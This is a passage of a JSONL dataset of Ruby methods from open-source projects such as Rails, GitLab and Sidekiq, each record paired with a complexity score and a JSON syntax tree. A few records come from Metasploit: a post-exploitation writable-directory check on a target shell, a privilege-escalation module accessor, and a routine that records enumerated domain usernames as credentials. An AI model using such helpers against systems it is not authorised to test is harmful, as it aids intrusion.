sym\",\"children\":[\"created_at\"]},{\"type\":\"irange\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@start_date\"]},{\"type\":\"ivar\",\"children\":[\"@end_date\"]}]}]}]}]}]}]}]}","id":"b93fc8a6-43f3-45d7-a394-a600b2ada0df"}
{"repo_name":"rails","file_path":"./repos/rails/actionmailbox/lib/action_mailbox/routing.rb","start_line":13,"raw_source":"def routing(routes)\n        router.add_routes(routes)\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"routing\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"routes\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"router\"]},\"add_routes\",{\"type\":\"lvar\",\"children\":[\"routes\"]}]}]}","id":"3e6f6df0-45c0-48bc-b02d-1d9331ddecad"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/snippets/notes_controller.rb","start_line":15,"raw_source":"def note\n    @note ||= snippet.notes.inc_relations_for_view(snippet).find(params[:id])\n  end","complexity_score":10.2,"ast_json":"{\"type\":\"def\",\"children\":[\"note\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@note\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"snippet\"]},\"notes\"]},\"inc_relations_for_view\",{\"type\":\"send\",\"children\":[null,\"snippet\"]}]},\"find\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"id\"]}]}]}]}]}","id":"b5b14556-5ccb-44bf-a82d-60b5db5be29b"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/readonly_test.rb","start_line":105,"raw_source":"def test_has_many_with_through_is_not_implicitly_marked_readonly\n    assert people = Post.find(1).people\n    assert_not people.any?(&:readonly?)\n  end","complexity_score":8.8,"ast_json":"{\"type\":\"def\",\"children\":[\"test_has_many_with_through_is_not_implicitly_marked_readonly\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert\",{\"type\":\"lvasgn\",\"children\":[\"people\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Post\"]},\"find\",{\"type\":\"int\",\"children\":[1]}]},\"people\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_not\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"people\"]},\"any?\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"readonly?\"]}]}]}]}]}]}","id":"36add8a0-c636-4056-8f8d-ce981ad6ef2c"}
{"repo_name":"sidekiq","file_path":"./repos/sidekiq/lib/sidekiq/job.rb","start_line":165,"raw_source":"def self.included(base)\n      raise ArgumentError, \"Sidekiq::Job cannot be included in an ActiveJob: #{base.name}\" if base.ancestors.any? { |c| c.name == \"ActiveJob::Base\" }\n\n      base.include(Options)\n      base.extend(ClassMethods)\n    end","complexity_score":13.0,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"included\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"base\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"base\"]},\"ancestors\"]},\"any?\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"c\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"c\"]},\"name\"]},\"==\",{\"type\":\"str\",\"children\":[\"ActiveJob::Base\"]}]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Sidekiq::Job cannot be included in an ActiveJob: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"base\"]},\"name\"]}]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"base\"]},\"include\",{\"type\":\"const\",\"children\":[null,\"Options\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"base\"]},\"extend\",{\"type\":\"const\",\"children\":[null,\"ClassMethods\"]}]}]}]}","id":"0eb025c1-683a-4d16-8ac7-10c8fea94471"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/migrate/20250818083453_add_duo_agent_platform_service_url_to_ai_settings.rb","start_line":16,"raw_source":"def down\n    with_lock_retries do\n      remove_column :ai_settings, :duo_agent_platform_service_url, if_exists: true\n    end\n  end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"down\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_lock_retries\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"remove_column\",{\"type\":\"sym\",\"children\":[\"ai_settings\"]},{\"type\":\"sym\",\"children\":[\"duo_agent_platform_service_url\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"if_exists\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}]}","id":"4f40d602-ecd6-49a5-83a1-f67a77f34b2c"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/post/linux/busy_box.rb","start_line":34,"raw_source":"def busy_box_is_writable_dir?(dir_path)\n          res = false\n          rand_str = Rex::Text.rand_text_alpha(16)\n          file_path = \"#{dir_path}/#{rand_str}\"\n\n          cmd_exec(\"echo #{rand_str}XXX#{rand_str} > #{file_path}\")\n          Rex.sleep(0.3)\n          rcv = read_file(file_path)\n\n          if rcv.include?(\"#{rand_str}XXX#{rand_str}\")\n            res = true\n          end\n\n          cmd_exec(\"rm -f #{file_path}\")\n          Rex.sleep(0.3)\n\n          res\n        end","complexity_score":14.0,"ast_json":"{\"type\":\"def\",\"children\":[\"busy_box_is_writable_dir?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"dir_path\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"false\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"rand_str\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"rand_text_alpha\",{\"type\":\"int\",\"children\":[16]}]}]},{\"type\":\"lvasgn\",\"children\":[\"file_path\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dir_path\"]}]},{\"type\":\"str\",\"children\":[\"/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rand_str\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"cmd_exec\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"echo \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rand_str\"]}]},{\"type\":\"str\",\"children\":[\"XXX\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rand_str\"]}]},{\"type\":\"str\",\"children\":[\" > \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"file_path\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"sleep\",{\"type\":\"float\",\"children\":[0.3]}]},{\"type\":\"lvasgn\",\"children\":[\"rcv\",{\"type\":\"send\",\"children\":[null,\"read_file\",{\"type\":\"lvar\",\"children\":[\"file_path\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rcv\"]},\"include?\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rand_str\"]}]},{\"type\":\"str\",\"children\":[\"XXX\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rand_str\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"true\",\"children\":[]}]},null]},{\"type\":\"send\",\"children\":[null,\"cmd_exec\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"rm -f \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"file_path\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"sleep\",{\"type\":\"float\",\"children\":[0.3]}]},{\"type\":\"lvar\",\"children\":[\"res\"]}]}]}","id":"86335c02-210d-4473-a699-fffb10afffdf"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/lib/active_metrics/connection_adapters/influxdb_adapter.rb","start_line":9,"raw_source":"def self.create_connection(config)\n        db = config[:database]\n\n        require 'influxdb'\n        InfluxDB::Client.new(db, :time_precision => PRECISION, :retry => 10).tap do |client|\n          client.create_database(db) unless client.list_databases.include?(db)\n        end\n      end","complexity_score":11.25,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"create_connection\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"config\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"db\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"config\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"database\"]}]}]},{\"type\":\"send\",\"children\":[null,\"require\",{\"type\":\"str\",\"children\":[\"influxdb\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"InfluxDB\"]},\"Client\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"db\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"time_precision\"]},{\"type\":\"const\",\"children\":[null,\"PRECISION\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"retry\"]},{\"type\":\"int\",\"children\":[10]}]}]}]},\"tap\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"client\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"client\"]},\"list_databases\"]},\"include?\",{\"type\":\"lvar\",\"children\":[\"db\"]}]},null,{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"client\"]},\"create_database\",{\"type\":\"lvar\",\"children\":[\"db\"]}]}]}]}]}]}","id":"2e1e985c-8c55-4bfa-a62a-96076326a2c5"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/projects/transfer_service.rb","start_line":231,"raw_source":"def update_namespace_and_visibility(to_namespace)\n      # Apply new namespace id and visibility level\n      project.namespace = to_namespace\n      project.visibility_level = to_namespace.visibility_level unless project.visibility_level_allowed_by_namespace?\n    end","complexity_score":8.5,"ast_json":"{\"type\":\"def\",\"children\":[\"update_namespace_and_visibility\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"to_namespace\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"namespace=\",{\"type\":\"lvar\",\"children\":[\"to_namespace\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"visibility_level_allowed_by_namespace?\"]},null,{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"visibility_level=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"to_namespace\"]},\"visibility_level\"]}]}]}]}]}","id":"b19bc37f-ab9c-4b36-8775-201c792bd472"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/workers/backup_job.rb","start_line":136,"raw_source":"def store_backup(file_name, backup:, user:)\n    File.open(file_name) do |file|\n      call = Attachments::CreateService\n        .bypass_allowlist(user:)\n        .call(container: backup, filename: file_name, file:, description: \"OpenProject backup\")\n\n      call.on_success do\n        download_url = ::API::V3::Utilities::PathHelper::ApiV3Path.attachment_content(call.result.id)\n\n        upsert_status(\n          status: :success,\n          message: I18n.t(\"export.succeeded\"),\n          payload: download_payload(download_url, \"application/zip\")\n        )\n      end\n\n      call.on_failure do\n        upsert_status status: :failure,\n                      message: I18n.t(\"export.failed\", message: call.message)\n      end\n    end\n  end","complexity_score":25.9,"ast_json":"{\"type\":\"def\",\"children\":[\"store_backup\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"file_name\"]},{\"type\":\"kwarg\",\"children\":[\"backup\"]},{\"type\":\"kwarg\",\"children\":[\"user\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"open\",{\"type\":\"lvar\",\"children\":[\"file_name\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"file\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"call\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Attachments\"]},\"CreateService\"]},\"bypass_allowlist\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"lvar\",\"children\":[\"user\"]}]}]}]},\"call\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"container\"]},{\"type\":\"lvar\",\"children\":[\"backup\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"filename\"]},{\"type\":\"lvar\",\"children\":[\"file_name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"file\"]},{\"type\":\"lvar\",\"children\":[\"file\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"str\",\"children\":[\"OpenProject backup\"]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"call\"]},\"on_success\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"download_url\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"API\"]},\"V3\"]},\"Utilities\"]},\"PathHelper\"]},\"ApiV3Path\"]},\"attachment_content\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"call\"]},\"result\"]},\"id\"]}]}]},{\"type\":\"send\",\"children\":[null,\"upsert_status\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"sym\",\"children\":[\"success\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"export.succeeded\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"payload\"]},{\"type\":\"send\",\"children\":[null,\"download_payload\",{\"type\":\"lvar\",\"children\":[\"download_url\"]},{\"type\":\"str\",\"children\":[\"application/zip\"]}]}]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"call\"]},\"on_failure\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"upsert_status\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"sym\",\"children\":[\"failure\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"export.failed\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"call\"]},\"message\"]}]}]}]}]}]}]}]}]}]}]}","id":"64eb1964-2417-4f84-ae8b-91a33436dbc9"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/compression/strategy.rb","start_line":12,"raw_source":"def decompress(dest_path, compressed_file_path, max_size)\n      sanitized_compressed_file_path = sanitize_path(compressed_file_path)\n      sanitized_dest_path = sanitize_path(dest_path)\n\n      get_compressed_file_stream(sanitized_compressed_file_path) do |compressed_file|\n        available_size = calculate_available_size(max_size)\n\n        entries_of(compressed_file).each do |entry|\n          entry_path = build_entry_path(sanitized_dest_path, entry, sanitized_compressed_file_path)\n          next if !is_safe_path_for_extraction?(entry_path, sanitized_dest_path)\n\n          FileUtils.mkdir_p(File.dirname(entry_path))\n          if is_file?(entry)\n            remaining_size = extract_file(entry, entry_path, available_size)\n            available_size = remaining_size\n          else\n            extract_folder(entry, entry_path)\n          end\n        end\n        decompression_results_path(sanitized_dest_path, sanitized_compressed_file_path)\n      end\n    end","complexity_score":32.7,"ast_json":"{\"type\":\"def\",\"children\":[\"decompress\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"dest_path\"]},{\"type\":\"arg\",\"children\":[\"compressed_file_path\"]},{\"type\":\"arg\",\"children\":[\"max_size\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"sanitized_compressed_file_path\",{\"type\":\"send\",\"children\":[null,\"sanitize_path\",{\"type\":\"lvar\",\"children\":[\"compressed_file_path\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"sanitized_dest_path\",{\"type\":\"send\",\"children\":[null,\"sanitize_path\",{\"type\":\"lvar\",\"children\":[\"dest_path\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"get_compressed_file_stream\",{\"type\":\"lvar\",\"children\":[\"sanitized_compressed_file_path\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"compressed_file\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"available_size\",{\"type\":\"send\",\"children\":[null,\"calculate_available_size\",{\"type\":\"lvar\",\"children\":[\"max_size\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"entries_of\",{\"type\":\"lvar\",\"children\":[\"compressed_file\"]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"entry\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"entry_path\",{\"type\":\"send\",\"children\":[null,\"build_entry_path\",{\"type\":\"lvar\",\"children\":[\"sanitized_dest_path\"]},{\"type\":\"lvar\",\"children\":[\"entry\"]},{\"type\":\"lvar\",\"children\":[\"sanitized_compressed_file_path\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"is_safe_path_for_extraction?\",{\"type\":\"lvar\",\"children\":[\"entry_path\"]},{\"type\":\"lvar\",\"children\":[\"sanitized_dest_path\"]}]},\"!\"]},{\"type\":\"next\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FileUtils\"]},\"mkdir_p\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"dirname\",{\"type\":\"lvar\",\"children\":[\"entry_path\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"is_file?\",{\"type\":\"lvar\",\"children\":[\"entry\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"remaining_size\",{\"type\":\"send\",\"children\":[null,\"extract_file\",{\"type\":\"lvar\",\"children\":[\"entry\"]},{\"type\":\"lvar\",\"children\":[\"entry_path\"]},{\"type\":\"lvar\",\"children\":[\"available_size\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"available_size\",{\"type\":\"lvar\",\"children\":[\"remaining_size\"]}]}]},{\"type\":\"send\",\"children\":[null,\"extract_folder\",{\"type\":\"lvar\",\"children\":[\"entry\"]},{\"type\":\"lvar\",\"children\":[\"entry_path\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"decompression_results_path\",{\"type\":\"lvar\",\"children\":[\"sanitized_dest_path\"]},{\"type\":\"lvar\",\"children\":[\"sanitized_compressed_file_path\"]}]}]}]}]}]}","id":"c93ef2d5-058d-47b7-83f4-fcbb89b6ebf0"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/local/systemtap_modprobe_options_priv_esc.rb","start_line":81,"raw_source":"def staprun_path\n    datastore['STAPRUN_PATH']\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"staprun_path\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"STAPRUN_PATH\"]}]}]}","id":"c6ab26cf-eafc-464d-94b1-a839e4d8c162"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/container_registry/base_client.rb","start_line":83,"raw_source":"def faraday_base(timeout_enabled: true, &block)\n      request_options = timeout_enabled ? Gitlab::HTTP::DEFAULT_TIMEOUT_OPTIONS : nil\n\n      Faraday.new(\n        @base_uri,\n        headers: { user_agent: \"GitLab/#{Gitlab::VERSION}\" },\n        request: request_options,\n        &block\n      )\n    end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"faraday_base\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"timeout_enabled\",{\"type\":\"true\",\"children\":[]}]},{\"type\":\"blockarg\",\"children\":[\"block\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"request_options\",{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"timeout_enabled\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"HTTP\"]},\"DEFAULT_TIMEOUT_OPTIONS\"]},{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Faraday\"]},\"new\",{\"type\":\"ivar\",\"children\":[\"@base_uri\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"headers\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user_agent\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"GitLab/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"VERSION\"]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"request\"]},{\"type\":\"lvar\",\"children\":[\"request_options\"]}]}]},{\"type\":\"block_pass\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block\"]}]}]}]}]}","id":"9fda17ad-ff4d-4fa4-b7c6-8747a7cdc9b1"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/support/shared_examples/models/relative_positioning_shared_examples.rb","start_line":716,"raw_source":"def any_relative_positions\n    new_item.class.reorder(:relative_position, :id).pluck(:id, :relative_position)\n  end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"any_relative_positions\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"new_item\"]},\"class\"]},\"reorder\",{\"type\":\"sym\",\"children\":[\"relative_position\"]},{\"type\":\"sym\",\"children\":[\"id\"]}]},\"pluck\",{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"sym\",\"children\":[\"relative_position\"]}]}]}","id":"3e1a87f5-7999-4515-ad49-80fdfb6e74d9"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/rubocop/cop/background_migration/avoid_silent_rescue_exceptions.rb","start_line":71,"raw_source":"def on_resbody(node)\n          return unless batched_migration_job_class\n\n          rescue_timeout_error(node) do |error|\n            range = error ? node.loc.keyword.join(error.source_range) : node.loc.keyword\n            add_offense(range)\n          end\n        end","complexity_score":16.4,"ast_json":"{\"type\":\"def\",\"children\":[\"on_resbody\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"batched_migration_job_class\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rescue_timeout_error\",{\"type\":\"lvar\",\"children\":[\"node\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"error\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"range\",{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"error\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"loc\"]},\"keyword\"]},\"join\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"error\"]},\"source_range\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"loc\"]},\"keyword\"]}]}]},{\"type\":\"send\",\"children\":[null,\"add_offense\",{\"type\":\"lvar\",\"children\":[\"range\"]}]}]}]}]}]}","id":"e605fd4d-3b75-4e3d-bec5-90a33d171fef"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/diff/highlight_cache.rb","start_line":181,"raw_source":"def cached_content\n        strong_memoize(:cached_content) { read_cache }\n      end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"cached_content\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"strong_memoize\",{\"type\":\"sym\",\"children\":[\"cached_content\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"read_cache\"]}]}]}","id":"3ae4696a-a456-45ce-a425-87cff3371ba3"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/scanner/dcerpc/nrpc_enumusers.rb","start_line":75,"raw_source":"def report_username(domain, username)\n    service_data = {\n      address: datastore['RHOST'],\n      port: @dport,\n      service_name: 'netlogon',\n      protocol: 'tcp',\n      workspace_id: myworkspace_id\n    }\n\n    credential_data = {\n      origin_type: :service,\n      module_fullname: fullname,\n      username: username,\n      realm_key: Metasploit::Model::Realm::Key::ACTIVE_DIRECTORY_DOMAIN,\n      realm_value: domain\n    }.merge(service_data)\n\n    login_data = {\n      core: create_credential(credential_data),\n      status: Metasploit::Model::Login::Status::UNTRIED\n    }.merge(service_data)\n\n    create_credential_login(login_data)\n  end","complexity_score":11.6,"ast_json":"{\"type\":\"def\",\"children\":[\"report_username\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"domain\"]},{\"type\":\"arg\",\"children\":[\"username\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"service_data\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"address\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"RHOST\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"port\"]},{\"type\":\"ivar\",\"children\":[\"@dport\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"service_name\"]},{\"type\":\"str\",\"children\":[\"netlogon\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"protocol\"]},{\"type\":\"str\",\"children\":[\"tcp\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"workspace_id\"]},{\"type\":\"send\",\"children\":[null,\"myworkspace_id\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"credential_data\",{\"type\":\"send\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"origin_type\"]},